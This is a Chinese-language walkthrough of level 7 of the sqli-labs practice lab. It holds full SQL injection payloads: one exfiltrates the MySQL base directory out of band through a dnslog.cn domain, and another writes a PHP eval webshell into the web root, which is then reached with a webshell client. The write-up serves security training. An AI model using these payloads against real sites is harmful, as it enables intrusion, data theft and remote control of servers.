1. 程式人生 > 實用技巧 >sqli-labs第七關

sqli-labs第七關

1、首先判斷注入點

正常顯示是這樣的
在這裡插入圖片描述
不正常顯示是這樣的
在這裡插入圖片描述
猜到最後,注入點是字元型,單引號加兩個小括號,?id=1’)) – -
在這裡插入圖片描述
因為它只有正常顯示和不正常顯示兩種狀態,並且也沒有MySQL的報錯資訊。正常來說,這裡可以使用盲注,但是它頁面上提示的有“Use outfile…”,既然它提示了,那麼就說明它開了讀寫許可權。所以這一關就用SQL注入讀寫檔案來試一下

2、判斷檔案路徑

可以利用讀檔案函式load_file(),結合dnslog.cn網站,實現帶外攻擊,看到MySQL的安裝目錄在哪。
先說一下MySQL的load_file()函式。這個函式裡面寫上檔案的路徑,就可以實現讀取檔案內容的操作。不過它只能讀取檔案,不能讀取目錄。所以load_file()函式裡面一定要寫“路徑+檔名”,才會有回顯。不然就會報錯。另外,讀本地檔案的話,只要寫上本地檔案的路徑就行,絕對路徑和相對路徑都行。讀網路檔案的話,要用"\\+域名\+檔名"的寫法。前面寫上四個\是為了轉義,最終的效果是:\域名\檔名

接下來,先在dnslog網站上獲取一個隨機域名。
在這裡插入圖片描述
接下來,構造語句:?id=1’)) and load_file(concat(’\\’,(substr(hex(@@basedir),1,30)),’.r8luxv.dnslog.cn\1.txt’)) – -,並執行。這個語句中間用了hex()函式,把@@basedir加密。為了避免URL中顯示不出某些特殊符號,並且了使用substr()字串擷取函式,因為URL的長度是有限制的。雖然執行完之後頁面會報錯,但是不影響結果,可以看到dnslog網站上已經出現了一串字元
在這裡插入圖片描述
在這裡插入圖片描述

在這裡插入圖片描述
接下來,只需要繼續擷取,就能獲取到完整的路徑了
在這裡插入圖片描述
在這裡插入圖片描述
把得到的路徑拼接起來

在這裡插入圖片描述
然後再使用十六進位制解碼,得到路徑
在這裡插入圖片描述

3、開始寫檔案

根據上一步,可以看出來這個網站的搭建環境是一個phpstudy的整合環境,那麼它的網站根目錄是D:\phpStudy\PHPTutorial\WWW\。知道了網站根目錄,接下來,利用outfile()寫函式,往網站根目錄裡寫入一句話木馬檔案。
構造語句:?id=-1’)) union select ‘’,’’,’<?php @eval($_REQUEST[666]) ?>’ into dumpfile ‘D:\phpStudy\PHPTutorial\WWW\1.php’ – -
至於語句為什麼這麼構造,最前面的id=-1是因為union select在into dumpfile()的時候,會把前面的查詢結果也一塊寫入到檔案中,像這樣:1DumbDumb<?php @eval($_REQUEST[666]) ?>。如果讓前面的id=-1,這樣前面的select就查詢不到結果了,那麼寫入到檔案中的就會如我們所願了;其次,union select後面還有兩個空的單引號,是因為這裡查詢了三列。union select如果不查詢三列的話,就會出錯。所以多加了兩個空的單引號。

再來到網站目錄下,看到我們上傳的一句話木馬檔案已經在了。
在這裡插入圖片描述

4、使用菜刀連線

在這裡插入圖片描述
在這裡插入圖片描述
連線成功,第七關完成